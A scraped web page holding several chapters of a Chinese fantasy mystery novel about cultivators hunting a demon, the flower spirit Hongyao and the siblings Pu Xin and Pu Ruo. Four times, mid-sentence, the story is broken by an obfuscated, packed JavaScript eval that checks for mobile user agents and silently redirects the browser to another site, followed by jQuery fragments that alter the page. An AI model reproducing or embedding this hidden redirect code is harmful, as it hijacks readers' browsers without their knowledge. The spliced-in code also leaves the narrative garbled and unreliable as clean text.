郁离扶了下面具:“没那么简单,我总觉得我没看出来密室的入口位置有别的原因,像是被干扰了,就和咱们四个人竟都没发现蒲薪和蒲若的不对劲儿一样。” 褚游嘀咕:“那这入口会在哪里呢?藏得够严实的。” 郁离不敢确认,他估算了楼梯和密室的大体位置,目光逡巡了一圈,最后迟疑着定在了陈放神龛的小房间。 褚游叹道:“嘶,这事儿太复杂了。” 常瀞合起扇子:“是啊,毕竟这事儿还没结束呢,这海平县里藏着的魔物没露面,及时堵住密室入口的人也没露面。” 县令府的魔尸是解决了,可海平县的魔气还没有散呐。 入夜,晚风微凉。重寒酥辗转反侧睡不着,干脆推开房门到屋顶上吹风。昨日褚游同他说的那一番话,彻底扫清他心底的阴霾。 他本以为在大梦初醒过后,能够迎来内心的平静,可转瞬之间,他好像又一头栽入了另一团迷雾。 “咔哒。”屋顶的瓦片被人踩响。 褚游贴着重寒酥在迎风的那一侧坐下。 谁都没有说话,谁都没有问对方,为什么大晚上不睡觉跑来这里。 “有酒吗?”重寒酥问道。 褚游思索片刻,掏出一个酒葫芦,还没递到他手里,又收回来。他谨慎问道:“这酒可烈,你能喝吗?” “怎么不能。”重寒酥听罢也不客气了,一把夺过酒葫芦,拔出酒塞,仰头就灌。 褚游看呆了,这酒哪能是这么个喝法,一看就是个平时不喝酒的。他慌张起来想去抢重寒酥手里的酒葫芦,又被他推开。 重寒酥一手举着酒葫芦,一手按住褚游的胸膛,不让他抢。 白皙脖颈上起伏的喉结停下了,几滴酒液从他唇角溢出,顺着光洁的下巴,流经脖颈,最后没入衣领。 褚游慌乱地移开视线,不敢看他。 “我怎么感觉,我来这世上走一遭,活得那么失败呢。父皇母后不喜我,兄弟姐妹不睬我,臣民不敬我。”酒意上涌,重寒酥顷刻间什么话都能说出口了,“我做错了什么呢,就是因为我出生的那日荧惑守心,国师一句话,还在襁褓里不懂事的我就该被定为灾祸之子?” 褚游没想到他才解完重寒酥的一个心结,转过头他又生了另一个。 重寒酥揽住双肩:“你说,人活这一世是为了什么?” 褚游努力组织了一下语言:“是为了见识一下这世间的美好啊。出身与亲缘不是你能左右的,你已经被过往困住太多年了,接下来,该走出来,为自己而活了。” “为自己活。” “是啊,就比如说你喜欢种地种花种树,觉得开心,那就种啊。上清境地方太小,不够你施展,你可以在凡间找一片荒山,从开垦做起。不用法术,不用灵力,抡起锄头来,你就什么都不想了,到时候看着丰收的景象,多满足啊。”褚游开始为他描绘美好图景,最后扭捏着提了一句,“你要不嫌弃,我无事的时候,也可以来帮你。” “褚游,你怎么对我这么好啊。父皇母后他们忽然对我好,都是有所图,盼用我一死来解大隅之困。”重寒酥枕在自己的臂弯里,轻声道,“你呢,你对我好,是图什么。” 褚游银质的半边面具在月色下泛着柔和的光:“我什么都不图。” “我才不信。”重寒酥声音越来越小,困意袭来,露出的一只眼睛缓缓闭上,“我们是不是在哪见过呀。” 褚游双手向手撑在屋顶上,有一句没说出口的话消散晚风里。 当然见过的呀,殿下。 屋檐之下,郁离也睡得不踏实,半梦半醒间,总觉得有两双眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14315278|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛在黑暗中注视着自己。 两双眼睛放大放大,再放大。他一个激灵惊醒,推开面具抹了一把额头沁出的汗,才睁眼。 这一睁眼,饶是他素日自诩内心强大,也惊叫出声。 两张没有五官的脸就怼在他眼前。 “怎么了!”常瀞就跟一整晚都守在他门外一样,招呼也不打,郁离声音刚落,就闯了进来。 郁离顾不上离那两张脸远一点,只来得及在常瀞闯入前,将面具推回原位。 只见郁离床前站着的是那两个没有五官的蒲薪和蒲若。三更半夜,招呼不打,鬼鬼祟祟跑来人家房里能干什么,常瀞想都不想提剑便砍。 一剑之下,成功刺中蒲薪的肩膀。蒲薪的肩膀被刺破一个洞,没有血流出,他的身子诡异的波动了一下,那个洞又慢慢合上了。 “什么情况?!”常瀞惊疑。 “我也不清楚。”没有脸的蒲薪开口了,如果他脸上有五官,此刻的他或许是在苦笑吧,“我和若若也不清楚,我们现在是个什么状态,我们明明是死了的。” 蒲若抱住蒲薪的胳膊,小声急切道:“不要伤害哥哥,我们没有恶意的。” “这么晚了,没有恶意的话,那你们是来做什么的。”郁离腾开手,挪到床尾下来,走到常瀞身边:“而且,蒲小姐,你此时的表现可和白日里完全不同。” 蒲若似乎很混乱:“我……抱歉,你们白日里遇见的那个我,应当不是我。” “什么意思,蒲小姐逗我开心呢。” “不,不是的。” 蒲薪安抚地拍拍蒲若的手:“我来说吧,是这样的,你们那会儿不是看到我们消失了吗。” 常瀞将剑横在身前,示意他继续。 蒲薪接着道:“其实没有,我们只是出现了其他地方,若若回了房里,我则出现在了县衙。我们当时浑浑噩噩的,像是被控制了一样,继续扮演着蒲薪和蒲若。直到夜里,才找回些神智,想起些从前的事情。” 郁离捕捉到蒲薪提起的找回神智的转折点,是在夜里。魔尸的吼声也几乎只在夜里出现,照理说魔尸不会有什么白天黑夜的概念。 这两者间,有什么联系吗。魔尸的出现,蒲若和蒲薪奇怪的状态,还有红药的失踪,会不会都是一人所为,会是到现在为止还没露面的魔物吗? “你们的脸是怎么回事,为什么孙管家他们都没发现?” “我们的……脸?”蒲薪语气疑惑起来。 “是啊,你们自己看不到吗?你们没有五官啊。” “我们,有啊。” 蒲薪和蒲若下意识看向桌上摆着的铜镜,铜镜上清晰映出二人的眉目。 郁离不解,为何从镜中便能看见他们的脸,直接看却不能。 常瀞也疑惑,可一时半会儿想不到理由:“那也不是你们半夜摸进人房里的道理。” “抱歉,说实话我们现在头脑也没有很清醒,光想着快点来找你们了,如有冒犯,还请谅解。”蒲薪言罢,拉着蒲若跪下来。 “求求你们了,救救红药姐吧。” 36. 红药(八) 蒲薪是在一个风雪交加的夜里遇见红药的,彼时他刚和妹妹因为付不起钱被人赶出医馆。 雪下的很大,雪粒伴着风的呼啸声,击打在脸上,生疼生疼。他背着年幼的妹妹,深一脚浅一脚走在雪地里。 蒲薪和蒲若的父母很早就去世了,他和妹妹一直跟着叔叔和婶婶生活。由于寄人篱下,他和妹妹懂事很早,很小的时候便开始帮家里干活。 叔叔和婶婶虽然不富裕,更疼爱自己的孩子,却也从未短过他们的吃穿。 直到他十岁那年,入冬的时候,妹妹生了一场大病。那场病来势汹汹,叔叔婶婶找了几位郎中都没有看好妹妹。最后一位郎中说,让他们去大一点的地方试试看。 回到家,叔叔和婶婶为难地同他商量,家里不富裕,蒲若的病也不知道能不能看好,可能没有办法去远的地方治病了。 蒲薪没有反驳,当晚便趁着叔叔婶婶睡着,背着妹妹离开家。一位好心的大叔用牛车将他们捎到了海平县,他背着妹妹四处找医馆,想着或许可以找到一名神医,救救妹妹。 可是他身上带着的钱太少了,没有一间医馆愿意给蒲若看病。 背上的妹妹因为难受与寒冷,发出痛苦的低吟,正当蒲薪绝望之际,身旁一间小院的门开了,一位脸上绘着芍药纹样的女子问他们要不要进来暖暖身子。 两个小孩子身处他乡,遇到陌生人邀请去家里坐坐,本应当是心存警惕的,可在寒冷雪夜,蒲薪就是控制不住地迈开步子进去了。 那名女子为他递上一碗热粥,一碗热粥喝下去,蒲薪本已冻僵的手脚渐渐找回了些许知觉。 女子看起去也不过双十年华,她仔细查看了下蒲若的情况,为她换掉了被冰雪打湿的棉衣:“我叫红药,别害怕,我不是什么坏人,今夜就安心住在这里吧。你们的家在哪里,明早我送你们回去。” 蒲薪放下碗,用脚小心地蹭了蹭地板上的一片湿迹,道明了他们出现在这里的原委。 红药沉默片刻,问过那些郎中对蒲若病情的看法,摸了摸他的头:“先留下来吧。” 他和妹妹踹踹不安地留了下来,几天后,雪停了,红药出去了一整天,半夜才回来。她沾了一身的土,带回来一株草药。 草药熬成的汤喝下去,蒲若开始好转了。他捏着妹妹温热的小手,激动地朝红药跪下去,却不知道该怎么谢她。 红药眉眼弯弯:“好了,小男子汉哭成这样像什么样子,快站起来。” 蒲若的声音还带着病气:“谢谢姐姐。” 自此,蒲薪和蒲若便留在了红药家。红药靠卖豆腐营生,天不亮就要起床磨豆腐,蒲薪十分自觉也跟着早起帮忙,红药说了他几次,小孩子还在长身体,让他不必那么早起,蒲薪都不听。 红药担着担子去街上卖豆腐的时候,蒲若偶尔也会跟着去帮帮忙,但是大多数时候,她都是待在家里的。 或许是因为病情拖了太久的缘故,蒲若的病虽然好了,但是身子却养不回来了,始终瘦瘦小小,遇到风寒,便咳嗽不止。 海平县沿海多风多雨,红药和蒲薪怕她出门受寒,很少带她出去。不过蒲若自幼性格文静,一个人待在家里倒也不觉得闷。 红药教她刺绣,她甫一尝试就觉得喜欢,窝在家中,一绣便能绣上一天。还是红药和蒲薪怕她将眼睛熬坏了,硬逼着她,她才减少了时间。 初学时,蒲若绣了一副很简单的全家福,绣布上的蒲若蹦蹦跳跳,蒲薪站得板板正正立在一旁,红药在中间,穿着一身红衣站在花丛中笑。 刚在红药家落脚时,蒲薪还想着,不过是换了一处寄人篱下罢了,还是同样的干活,还是同样的看人颜色,可日子久了,他才觉察,红药并没有将她们兄妹看做是随手捡来的仆从或是累赘,是真的将他们当做家人,当做弟弟妹妹。 蒲薪能看出红药和叔叔婶婶一样,生活清贫,可是红药咬咬牙在小屋后边又砌了一间瓦房,他们不用再像从前在叔叔婶婶家那样,傍晚才在房内的随便一个小角落用几张板凳和木板拼成张简易的床铺,蜷缩在上面。 他们也不用再捡叔叔和婶婶孩子的旧衣服穿,红药专门带他们去街上扯了新布做衣裳,蒲若穿着新做的衣裳,高兴地在屋里转了好几圈。 红药甚至将蒲薪送去了书院,若不是蒲若身体底子太差,她也是想把蒲若送去的。去书院念书是蒲薪先前想都不敢想的一件的事情,书院的束脩不好凑,红药又消失了一整天,带回来了几株他不认识的草药,这才解决了束脩的问题。 时间一天天过去,蒲薪十八岁,在书院中他是先生最得意的学生。先生放言,今年的县试,蒲薪必定榜上有名。蒲薪只是躬身行礼,谦虚一笑。 红药将压成型的豆腐放在板上,笑着道:“小薪真厉害,等考完那天回来,我给你做黄鱼捞面吃。” 蒲薪认真道:“红药姐,我一定好好努力。” “好啊,我等着你,等你过县试,过府试,过院试,过好多好多试,然后回来做咱们的县令,好不好。”红药擦擦额角上的汗。 “哥哥一定会成功的。”蒲若轻轻摇了摇他的胳膊。 其实蒲薪是发现了些不对劲儿的,比如那些珍稀无比、只长在深山老林里悬崖峭壁上的草药,红药一个弱女子是怎么找到那,又带回来的。比如红药提起过这里曾是她外婆的房子,可听邻居说这里在红药来之前一直是空屋,无人居住。再比如明明过去了八年,红药的面貌为何一丝一毫都没有变化,还是初见时双十年华的模样。 蒲薪不愿深想,也不在乎真相,他只要清楚红药是他们兄妹二人的救命恩人,是他们的姐姐,就够了。 平静的生活在蒲薪县试后被打破。 县试那日早晨,他们都很放松,还在饭桌上闲谈,听说县令的女儿病得很重,四处张贴告示求神医。 饭后,蒲薪在红药和蒲若的鼓励中离家前往考场,考场外一个陌生人拦住了他。 陌生人一身道士打扮:“这位小兄弟留步,我隔得很远便瞧见你妖气缠身,你可知晓。” 蒲薪怔住,想到红药,又很快掩饰了不自然的神色:“我觉得我很好,我还有事,先告辞了。” 道士不放弃,追上去,又拦住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347067|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,递给他一张符纸:“我知你不信我。这是驱妖符,若是妖,遇此符必现原形。你随身带着它,一试便知。” 蒲薪懒得搭理他,这人又缠人得紧,怕耽误县试,他只好草草收下揣进怀里。 县试结束,蒲薪知道自己考砸了,他在考场上想着的全是那张驱妖符,注意怎么都集中不到县试上。 回到家中,只有红药在。她冲蒲薪笑笑,也没问他考得怎么样。 蒲薪闷头接过她手中的碗筷:“若若呢?怎么不在。” 红药擦干净手上的水:“做饭发现家里的盐快没了,我看她今日面色不错,便让她去街上买,顺便还能在外头转一转,成日在家中闷着也不是事儿。” 蒲薪心不在焉地“哦”了一声。 饭菜刚摆好,蒲若的脚步声便从门外传来。 蒲薪放下碗碟,去门口迎蒲若。谁知蒲若一踏进屋内,蒲薪身后就响起了碗碟碎在地上的声音。 他回过头,红药已经倒在了地上,面条、鱼片和鱼汤随着碗碟的碎裂淌了一地。 蒲若也吓了一跳,跑着过去想要扶红药起来。红药的情况看着很不好,双目紧闭,额头上青筋爆出,不停沁出汗水,看着很痛苦的样子。 “哥,姐姐这是怎么了,怎么办,咱们是不是得赶快送她去医馆。” 蒲薪也有些六神无主,红药平日身体极好,从未见她有过头疼脑热。他拉过红药的肩膀放在肩上,将红药背去了医馆。 医馆的郎中看完摇了摇头,让他们回去了。 换了几家医馆都是同样的说辞,一瞬间蒲薪仿佛又回到了初来海平县时,背着妹妹的那个无助雪夜。 他又将红药背了回去。红药还是没有醒来,这会儿身上更是起了些奇怪的红色纹路,脸上的红色芍药纹饰也更艳了。 他没来由地想起了那个奇怪道士说的话——妖现原形。 可是不对啊,那张符纸他考试前便撕碎扔了。 蒲若急得眼泪掉个不停,她从腰上摘下来一个香囊,捏在手中,念念有词。 香囊在红药身前划过,红药的反应更大了,甚至不安地扭动起来。 蒲薪扑上去压住红药,视线却跟黏在了那枚香囊上。 “若若,这香囊是哪来的,我没在家里见过。” 蒲若捏住香囊的手顿住:“我去买盐的时候,遇见了一个道士,他拿了一把香囊,说是保平安的,见人就散。” 道士? 蒲薪猛的起身,夺过香囊,颤抖着拆开。 里面藏着的赫然是那道士口中的驱妖符。 符纸被他撕掉以后,红药很快平静下来,可还是没有要醒转的迹象。 “哥,这香囊有问题?我是闯祸了吗?” 蒲薪强颜欢笑:“你在家照顾红药姐,哥出去一趟。” 蒲若心慌,又将香囊夺回来:“不行,红药姐看着好些了。我突然很害怕,哥你要去哪?我跟你一起。” “听话,你就在家待着,我去趟县令府就回来。” 原来香囊中还有一张字条,上面写着,县令府可解。 37. 红药(九) 前往县令府的路上,蒲薪已经基本肯定了,对方来者不善。 关于海平县的县令大人,百姓私底下最多的评价便是无功无过。这位县令大人,并非才能卓绝,做到了造福一方,却也绝非什么贪官污吏。 他希望,红药的事是一个误会。就算她是妖,也是一只老实本分、心地善良的妖,她在海平县这么多年,从未做出过伤天害理的事情。 县令大人只要给能他一个解释的机会就好。 县令府已然近在眼前,蒲薪停下脚步,等呼吸平缓,才又继续向前走去。 “哥,你等等我。”蒲若小跑着追上来。 “你怎么来了!”蒲薪扶住她的胳膊,看她脸色发白,因为跑太快捂着胸口喘气,实在是生不起来气。 “你出门以后,我心里特别慌,总觉得会有什么事儿,在家里待不下去。哥,带上我吧,别让我回去。” “不行,快回去,听话!” 两兄妹谁也说服不了谁,僵持之际,县令府里走出一个人,正是蒲薪遇到过的奇怪道士。 “既然来了,就都进来吧。” 道士轻飘飘抛下一句话,也不管蒲薪蒲若有没有跟上来,自顾自向县令府深处走去。 蒲若抬脚就进了县令府,蒲薪没办法,只好快走几步,跟上妹妹。 两兄妹拿不准道士的意图,维持着一个不远不近的距离坠在道士身后。道士带着他们七拐八拐,进了一个偏僻的小院。 小院里一个矮胖的男子迎上来,神情焦急。 总算见到县令大人了,蒲薪心头一喜,迫不及待便要陈情误会。可还没等到他开口,便一阵天旋地转,一头栽到了地上,视线渐渐模糊。 蒲若朝他扑来,没跑几步,也倒在了地上。他挣扎着朝妹妹挪动了一寸,眼前就彻底黑了。 在意识消散前,他只隐约听到几句县令大人和道士的争执。 县令惊道:“您这是做什么,不要闹出人命啊。” 道士:“怕什么,不过是让他们睡一会儿。” “那就好,咱们把那只妖捉来便好,这两个孩子是无辜的。” “我告诉过你多少遍,那可是一只千年大妖,最是狡诈,捉它就靠这两个孩子了。你如此心软,究竟还想不想救你女儿了。” “我当然想。” “我话可说在前头,没了它的妖丹,你女儿可活不过七天。” “好,我都听你的,都听你的。” …… 蒲薪声音颤抖:“我知道就是这些了。求求你们,救救她吧。” 郁离安抚了他们几句,又询问了一番。天快亮时,蒲薪和蒲若身子同时一僵,招呼都没打,飘飘悠悠离开了。 “他们这是又被控制了?”常瀞蹙眉。 “看来是的。”郁离看了眼他们离开的方向,“我去把褚大哥他们叫来。” 过了片刻,褚游伸着懒腰进来了,身后跟着的是正在打哈欠的重寒酥。 常瀞捧着一杯冒热气的茶,随口道:“昨晚都干什么去了,两个人都没睡好。” 重寒酥脚下一绊:“就是没睡好,还能干什么。” 郁离充满怀疑地瞟了一眼褚游,褚游还了他一个正气浩然的眼神,郁离仍然怀疑但找不出证据,只能作罢:“好了,来坐吧。” 四个人整理了目前的所有线索,都一致认为海平县最有可能被魔物附身的便是那名神秘的道士。 重寒酥回忆着花园地下的那两具魔尸:“可那道士应该已经死了吧。前任县令矮胖,是较矮的那位,高一点的那具魔尸身上的衣服虽然已经破破烂烂,但现在想来,确实像是道袍。” 常瀞手指点着桌子:“道士都被魔物转化为魔尸了,那魔物自然会换个人附身。” 褚游单手抛着空茶杯:“那魔物现在会在哪里呢。” “南边。现在魔气最重的地方就剩南边了。”郁离沾了点茶水,在桌上画下了海平县大致的地图,最后圈了一处地方,“而且我认为,魔物就藏身在红药家。” 常瀞给了郁离一个肯定的眼神:“我也这样认为。” 褚游恍然大悟:“对哦,那一片可不就数红药家那个郑婆婆最奇怪了,她必定有问题。” 重寒酥:“魔物抓红药是为什么呢,总不会是真的好心,想给前任县令的女儿治病吧。” 郁离:“不可能,肯定有原因。” 褚游:“前任县令的女儿咱们也没见着啊。” 重寒酥:“魔物既然不是好心,那他就是骗县令的,恐怕他女儿也已经死了吧。” 褚游叹气:“那咱们还是快去红药家看看吧,这回到了那里可能答案就都有了。” 说话间,四人来到了红药的小院前,烟囱上仍然冒着屡屡炊烟,大片的红色芍药迎着朝阳已然舒展开花瓣,散发出一阵阵的淡香。 褚游双手合十:“老天保佑,这回可一定要找到红药,不然这可怎么和施娘交代啊。” 食肆内还是只有那位郑婆婆在,郑婆婆一如既往的热情,连声招呼他们:“又来了,还是吃面。” 不过,这一次没人同她寒暄。褚游拔出刀,在心中默念了一声“得罪了”,随后迎着郑婆婆诧异的眼神径直劈去。 雪亮的刀锋停在郑婆婆额头前一寸,郑婆婆只是吓得缩了一下脖子,没有任何异常。 褚游尴尬地收回刀:“哈哈,那什么婆婆对不住啊,我看到只苍蝇。” 郑婆婆瞪了褚游一眼,拍拍胸口:“胡说八道,我这店里干净的,怎么会有苍蝇。” 常瀞拉开一把椅子坐下:“婆婆,来碗面吧。” 他们坐下的位置恰好在那幅红色芍药刺绣的对面。 褚游小声嘀咕:“这婆婆是魔物吗,内心如此强大,我刀都劈过去了,还能不露马脚。” 常瀞平静道:“刀尖都悬到头顶了,正常人都会怕死了吧,哪里还会反驳这食肆内有没有苍蝇。” 食肆内间的鱼汤的鲜香渐渐散出来了,郑婆婆将两碗面摆在桌上,一道小型的阵法瞬间升起,困住了她。 郑婆婆惊慌失措,下意识向后退了一步,却发现脚跟顶在了一堵透明的墙上,前后左右俱是如此:“你们到底是来做什么的,放我出去。” 常瀞缓缓起身:“别害怕,问你几个问题。” 郑婆婆哆哆嗦嗦:“你……你说。” “红药在哪?” “什么红药,你们第一天来,我就说了啊,我不认得,真的不认得。” 常瀞也不和她纠缠:“那好,下一个问题,魔物在你身体里吗?” “什么魔物,你们究竟想干什么,我都不知道啊。” 诸游担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14403991|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红药,一拍桌子:“还狡辩,快把红药交出来。” 郑婆婆使劲摆手:“我不知道,真的不知道啊。” 常瀞想了想:“那好。”他慢悠悠拔出长剑,盯着郑婆婆的眼睛,举着剑一寸寸向前移动。 直到剑尖没入郑婆婆的肩膀,她的眼中都只有恐惧和惊疑,没有其余情绪出现。 常瀞拧着眉拔出剑,开始怀疑是不是自己判断错了。 下一瞬,他便被郁离拉着后撤了一步。 郑婆婆的肩膀被刺中的地方没有流血,而是和蒲薪蒲若被刺后的情况一样,留下了一个小小的黑洞。 黑洞缓缓愈合,郑婆婆变得神色恍惚起来,接着她的五官,甚至脸上皱纹都消失了,只留下一张空白的脸。 诸游吓了一跳,抓住重寒酥的胳膊。 郁离用手在郑婆婆眼前晃晃,又叫了她几声。 郑婆婆一点回应都没有,就僵直地立在那儿。 常瀞加固了下阵法:“蒲薪蒲若也是如此,看来她确实没说谎,魔物没附身在她身上。” 重寒酥拍拍诸游的手,小声道:“别怕,手松一点,弄疼我了。” “对,对不起,吓死我了。”诸游立刻松开手,又垂头丧气起来,“那红药和魔物都不在这儿了?” 郁离用筷子挑了一下面,和上次吃到的面没有差别:“不一定。” 诸游嗅了一下黄鱼捞面的香气“不过,这也真是够怪的,蒲薪蒲若从这小屋搬进了县令府,这婆婆又是不知道从哪搬来这里。” 婆婆,搬来? 听完诸游随口的一句话,郁离觉得自己好像抓住了什么其中的联系。 在老婆婆之前发现的奇怪无脸人——蒲薪和蒲若,都与红药相识,且已经死亡。 那这位莫名其妙出现在小院里的婆婆呢,会不会和她们一样,也与红药相识,并且也已经离世了呢。 想到这里,郁离问诸游:“你记不记得,施姐姐提到过,曾经帮助过红药,还给她留下这间小院的婆婆叫什么。” “她提过婆婆的名字吗?”诸游被他问愣了,“你的意思是,这郑婆婆是帮过红药的那位,可她不早过世了吗。” 郁离想到花妖的天赋能力,利用香气影响人心神,甚至,是记忆:“死去的人不是捏造起来才方便吗,人活着,再造一个出来,不是就有漏洞了。” 常瀞:“魔物其实附在了红药身上?” 郁离:“八成是。这三人现在的情况与我们的认知截然不同,蒲薪从学子成了县令,蒲若身体健康,人也活泼,郑婆婆家庭幸福,老伴女儿都健在。魔物犯得为给他们重新设计人生吗。” 常瀞:“没错,他们如今的人生都是红药期望看到的,是红药的可能很大。” 重寒酥:“可没有魔物附身妖族的先例啊。” 郁离:“如果是什么其他的共存方法呢,毕竟咱们到现在都还安安全全的,说明不是普通的附身,红药并没有被控制。” 红药必定就在附近。 郁离视线游移,落在窗外的大片芍药花上,又否定了。若用本体藏在其中,倒不失为一种办法,可真会如此明显吗。 还是,这里?郁离的目光定在墙壁上的一处,他抓起一根筷子,猛地甩出去。 筷子在墙上挂着的芍药刺绣前骤然停住,掉在地上。 38. 红药(十) “唉。” 随着一声叹息,一道淡淡的人影在空中浮现。那是一名女子,她的鬓发有些蓬乱,眼下尚有两道干涸的血痕。 “红药。”郁离注视着女子脸上用朱笔描绘的芍药,那朵芍药在血痕的衬托下显得越发红艳,栩栩如生。 红药的声音中掺杂着几分喑哑:“是我。” 郁离拿不准红药现在是什么状态,斟酌了下,决定先套近乎:“你还记得施娘吗,我们是她的朋友。她当下在巷里走不开,托我们来看看你。” “施娘……是施施?”红药听到这个名字痛苦地抱着头,身上散发出一阵阵剧烈的无形波动。 常瀞不动声色挡在郁离身前,拔出佩剑低声道:“是魔气。” 褚游没听清常瀞说了什么,兴高采烈窜出来大声提醒:“对对对!是她,红毛狐狸!你还记得吗。”他此刻高兴极了,红药活着,而且还记得施娘,那就有希望,总算能给施娘一个好的交代了。 重寒酥快速将这个看不清形势的二货薅回来:“你别再刺激她了,魔物就在她身上!” 褚游结结巴巴:“还真的是她啊,你们不是说魔物附身不了妖吗?” “是附身不了,可现在魔气都从她身上冒出来了!谁知道那魔物藏在哪儿!” “我又看不见魔气,只有你们上清境的能看到。”褚游委屈,想到从鸡鸣巷离开那天施娘担忧的神色,他不死心又问,“那有没有办法能把魔物从她身上分出来啊。” 重寒酥只是摇头,想了想,试探着朝红药丢了几个清心术。 清心术似乎真的有效,红药身上剧烈翻涌的魔气渐渐平息了。她喘着气,闭目缓了好一会儿,随后在郁离几人警惕的目光中,走到一旁僵立着纹丝不动的郑婆婆面前。 “婆婆,是我糊涂了。”红药说着,又是一道血泪流下,覆盖了先前的血色痕迹。 红药话音刚落,郑婆婆便消失了,随之淡去的还有一直弥漫在风里的花香。 一瞬间,海平县就像被吹去了层轻薄到看不真切的雾气般,露出了真实的样貌。 县令府中无所事事喂鱼浇花的蒲若消失了,县衙里轮着笔杆子批公文的蒲薪也消失了。 孙管家惊恐地盯着大大小小的土堆和一个深坑,想不明白府里好好的花园怎么突然变成了这样。县衙里一个穿着官服的年轻人翻开县令桌案上成堆的文书,惊讶地发现上面已经有了批过的痕迹,字迹却和他印象里县令大人的不同。一个鱼贩停在红药家门前不远处,疑惑他为何会莫名其妙载着满车活鱼跑来如此偏僻的地方。 类似的奇怪事件在海平县的一些地方接连上演,因为太过离奇,却又没有造成过大的损失,而后只能被归结于灵异事件,或是记错了、忙忘了。 他们身处的这间食肆也换了样,成了一间普普通通的卧房,唯一没变的便是墙上的那幅芍药刺绣。 “很稚嫩吧。”红药望着那幅刺绣轻声道,“这是若若的第一幅作品。” “你……” 红药拉开椅子招呼他们坐下;“别怕,我现在很清醒,不会伤害你们的。” 褚游一坐下就发问:“这到底是怎么回事。” 红药取下那幅刺绣,细致地摸过针线绣成的每一片花瓣:“那天啊……” 那天红药昏昏沉沉地醒来,记不清发生了什么,只觉得头疼得快要炸开。她叫着蒲薪蒲若的名字,挣扎起身,然而家里空空荡荡的,一个人也没有回应。 路过饭桌旁时,她无意中踩到了几块碎纸屑,脚心传来刺痛。 “驱妖符……” 头仍旧昏昏沉沉的,还未等她捋清楚驱妖符和蒲薪蒲若的失踪有何联系,窗外边飞来了一只纸扎的鹤。颜色惨白的鹤,没有一丝仙气,反而透着些许阴森,它撂下口中衔着的纸条振翅就飞。 红药看清纸条上面的内容,捏着纸条的手关节泛白。 一进县令府,她便被一个纸人引到花园旁陈放神龛的小房间。神龛里供的是海边百姓常供的天妃娘娘,神像的本来慈悲的面庞在幽暗跳动的烛火下变得扭曲起来,眼中射出古怪瘆人的光。 纸人在墙壁上按下一块砖,狭窄的房间内竟出现了一条黑暗陡峭的地道。她在纸人的带领下,扶着石壁下到地下的房间,还未反应过来,便被一道巨大的符阵困住。 地下房间四壁贴满了符纸,红药隔着模糊的阵法看清了站在角落里的人。 一身道袍的道士一甩拂尘,捏着胡子,似乎心情很好。旁边的那人是红药曾远远瞧过一眼的海平县县令,他见红药望过去,瑟缩了一下。 县令不安道:“仙长,这,这下就好了吧,我女儿有救了。” “急什么。”道士嘴角扬起诡异的弧度,他弯下腰解开地上的两个麻袋。麻袋在地上翻腾摇晃,有两个人姿势奇怪地从中钻了出来。 县令差点儿被撞到,惊恐万分地拉开距离。 “若若!小鑫!”红药惊叫出声。 “嘿嘿,你也别急。”道士又甩了一下拂尘,“我可是帮你发现了两个小叛徒。” “你对他们做了什么?!” “我这可是在帮你。我只是稍稍暗示了一下,跟他们共处一室的可能是只大妖,他们就吓得要命,乖乖听话带了驱妖符回去。” 红药下意识反驳:“满口胡言!小薪和若若不会的!” “不然你怎么解释家里的驱妖符?”道士走到阵前,痴迷地盯着红药,“放心,我不会伤害你,绑你来是有大事想请你帮忙,只要你听话照做,好处少不了。” “什么?!”县令听到这里急了,揪住道士的衣领,因为比道士低了足足一个头,动作显得十分滑稽,“你不是说抓她是为了剖她的妖丹,给我女儿治病的吗?” 道士轻飘飘拂开他,县令仰倒在地,纸人手中闪过一到寒光,县令的胸前就破了一个口子,血汩汩流出,眼见是活不成了。 道士正了正衣领,哈哈大笑:“蠢货,我说什么你就信什么,你不过是枚无用的棋子罢了,和你女儿一起等死吧。” 道士笑得很是癫狂,他欣赏完县令不甘怨恨的表情,又对红药道:“考虑的怎么样了?你肯帮我,这两个孩子你就能领回去。啧啧啧,看看他们现在多乖啊,以后就是你绝顶忠心的仆人。” 红药在道士癫狂大笑时,隐约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14440685|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 